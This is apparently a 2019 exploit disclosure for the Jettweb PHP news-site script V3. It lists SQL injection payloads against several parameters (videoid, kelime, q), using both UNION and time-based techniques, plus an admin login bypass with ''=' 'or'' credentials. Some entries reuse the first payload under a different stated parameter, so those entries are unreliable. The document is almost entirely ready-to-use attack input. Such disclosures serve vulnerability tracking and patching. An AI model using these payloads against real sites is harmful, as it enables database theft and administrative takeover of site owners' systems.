Jettweb PHP Hazır Haber Sitesi Scripti V3 - SQL Injection

# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V3 - Multiple Vulnerabilities
# Date: 25.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-16-php-hazir-haber-sitesi-scripti-v3.html
# Demo Site: http://haberv3.proemlaksitesi.net
# Version: V3
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/fonksiyonlar.php
Vulnerable Parameter: videoid (GET)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/datagetir.php
Vulnerable Parameter: q (GET)
Payload:
datagetir.php?deger=undefined&dog=undefined&komut=ilcegetir&q=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&son=undefined


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]kelimeara
Vulnerable Parameter: kelime (POST)
Payload: fgit=videoyorumlar&videoid=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvzqq','LtSqAGUtJGxRGVrFfaFBRmvYYHCMdjkRYqQBbQfc'),'qqkjq'),NULL,NULL--
Kcmb


----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/login.php
Username: '=' 'or'
Password: '=' 'or'